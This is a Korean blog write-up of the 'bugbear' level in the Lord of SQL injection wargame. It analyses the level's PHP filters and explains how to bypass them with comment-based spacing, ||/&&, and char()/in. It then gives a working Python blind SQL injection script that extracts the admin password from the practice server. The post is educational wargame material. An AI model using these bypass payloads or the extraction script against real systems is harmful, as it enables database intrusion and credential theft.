Gae Ko's Blog

los : bugbear 본문

웹해킹 /[los] Lord of SQL

los : bugbear

Gae Ko 2017. 8. 17. 08:07


[코드분석]


<?php 
  
include "./config.php"
  
login_chk(); 
  
dbconnect(); 

↑DB와 연결을 위한 코드 


  if(preg_match('/prob|_|\.|\(\)/i'$_GET[no])) exit("No Hack ~_~"); 
  if(
preg_match('/\'/i'$_GET[pw])) exit("HeHe"); 
  if(
preg_match('/\'|substr|ascii|=|or|and| |like|0x/i'$_GET[no])) exit("HeHe"); 

↑preg_match를 통한 필터링


  $query "select id from prob_bugbear where id='guest' and pw='{$_GET[pw]}' and no={$_GET[no]}"
  echo 
"<hr>query : <strong>{$query}</strong><hr><br>"
  
$result = @mysql_fetch_array(mysql_query($query)); 
  if(
$result['id']) echo "<h2>Hello {$result[id]}</h2>";

↑쿼리 실행


  $_GET[pw] = addslashes($_GET[pw]); 

↑addslashes()함수 작동


  $query "select pw from prob_bugbear where id='admin' and pw='{$_GET[pw]}'"
  
$result = @mysql_fetch_array(mysql_query($query)); 

↑진짜 쿼리 실행


  if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("bugbear"); 

↑문제의 포인트 



[내 풀이]


맨 마지막 코드를 통해 Blind SQL injection임을 알 수 있다.

그리고 앞의 문제인 los : darkknight 에서 입력받은 no값에 or과 and를 그리고 공백과 like 와 0x를 필터링해준다는 것만 추가되었다.


or 과 and는 앞에서 게속 해왔던거처럼 ||와 &&로 대체할 수 있다.

0x를 필터링한다는 것은 싱글쿼터를 막았을 경우 0x를 이용해 아스키코드값을 이용해 값을 넘기는 법을 막는다는 뜻으로 

값을 넣는 새로운 다른 방법으로 char함수를 이용해서 각 글자의 아스키코드값의 10진수를 차례로 인수로 하는 방법있다.

즉 id='admin' 을 id=char(97, 100, 109, 105, 110) 으로 표현가능하다.


그리고 공백을 우회하는 방법은 지난 문제 los : wolfman 에서 다룬 것으로 


1) /**/ : 주석을 통해 공백을 대체할 수 있음 ex) pw='/**/or/**/1=1%23

2) ( ) : 괄호를 통해 공백을 대체할 수 있음  ex) pw='(or)1=(1)%23

3) %09, %0b, %0c, %0d, %0a 등등 


2) 방법은 괄호를 필터링한다는 점에서 탈락이므로 1)와 3)방법이 있는데 

주석을 이용해 공백을 대체해 보았다.


해결 방법으로 앞의 풀이에서 or 과 and과 공백 그리고 싱글쿼터와 동일한 기능을 하는 문자열로 대체해주고 싱글쿼터와 0x를 사용하지 않는 방법을 통해 입력값을 넣도록 수정하면 된다.



이걸 통해 공백대신 /**/을 사용해도 됨을 알 수 있었다. ( /는 특수기호이므로 url인코딩하여 %2f 로 입력해야함)

그리고 pw의 길이도 8임을 알 수 있다.

길이를 구했으면 정확한 pw의 값을 구할 수 있다.

앞에서 계속해왔던 것처럼 길이를 구하는 것과 pw의 정확한 값을 알아내는 건 손으로 하나하나 값을 대입해봐서 결과에따라 알아내는 법으로 수작업을 해야한다


그러므로 자동화툴을 사용하여 id='admin'인 정확한 pw값을 구하여보자. 

( los : darkknight 문제에서 사용한 파이썬 코드에서 이 문제에 맞게 좀 수정하였다.)


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
import urllib2, urllib, requests, time
 
flag = ''
length= 0
 
session = dict(PHPSESSID="vee4ea8c3gtsmr8vjn9skp6ur0")
 
# find the length of PW 
for i in range(020):
    try:
        r = requests.post("https://los.eagle-jump.org/bugbear_431917ddc1dec75b4d65a23bd39689f8.php?no=1%2f**%2f%7c%7c%2f**%2fid%2f**%2fin%2f**%2f%28char%2897,100,109,105,110%29%29%2f**%2f%26%26%2f**%2flength%28pw%29%2f**%2fin%2f**%2f%28"+str(i)+"%29%23", cookies=session)
    except:
        print "exception"
        continue
    if 'Hello admin' in r.text: #true
        length = i
        break
print "[+]  Length of admin pw : " + str(length)
 
for j in range(1, length+1):
    for i in range(48126):
        try:
            r = requests.post("https://los.eagle-jump.org/bugbear_431917ddc1dec75b4d65a23bd39689f8.php?no=1%2f**%2f%7c%7c%2f**%2fid%2f**%2fin%2f**%2f%28char%2897,100,109,105,110%29%29%2f**%2f%26%26%2f**%2fright%28left%28pw,"+str(j)+"%29,1%29%2f**%2fin%2f**%2f%28char%28"+ str(i)+"%29%29%23", cookies=session)
        except:
            print "exception"
            continue
        if 'Hello admin' in r.text:
            flag = flag + chr(i)
            print "[+] finding pw : " + flag
            break
        time.sleep(0.1)
print "[+] pw of admin : " + flag
                                 
 
cs


이 코드를 실행해보면 



결론 : id 가 'admin'인 pw는 735c2773 



[p.s]

char( ) 함수 ASCII코드를 문자열로 변환해주는 함수이고,

ascii( ) 함수는 가장 왼쪽 문자의 ASCII코드값을 반환해주는 함수이다.


교육서버뿐만아니라 저 url에서도 공백대신 실패. 왜? 

'웹해킹 > [los] Lord of SQL' 카테고리의 다른 글

los : assassin  (0) 2017.08.26
los : giant  (0) 2017.08.17
los : darkknight  (0) 2017.08.17
los : golem  (0) 2017.08.17
los : skeleton  (0) 2017.08.17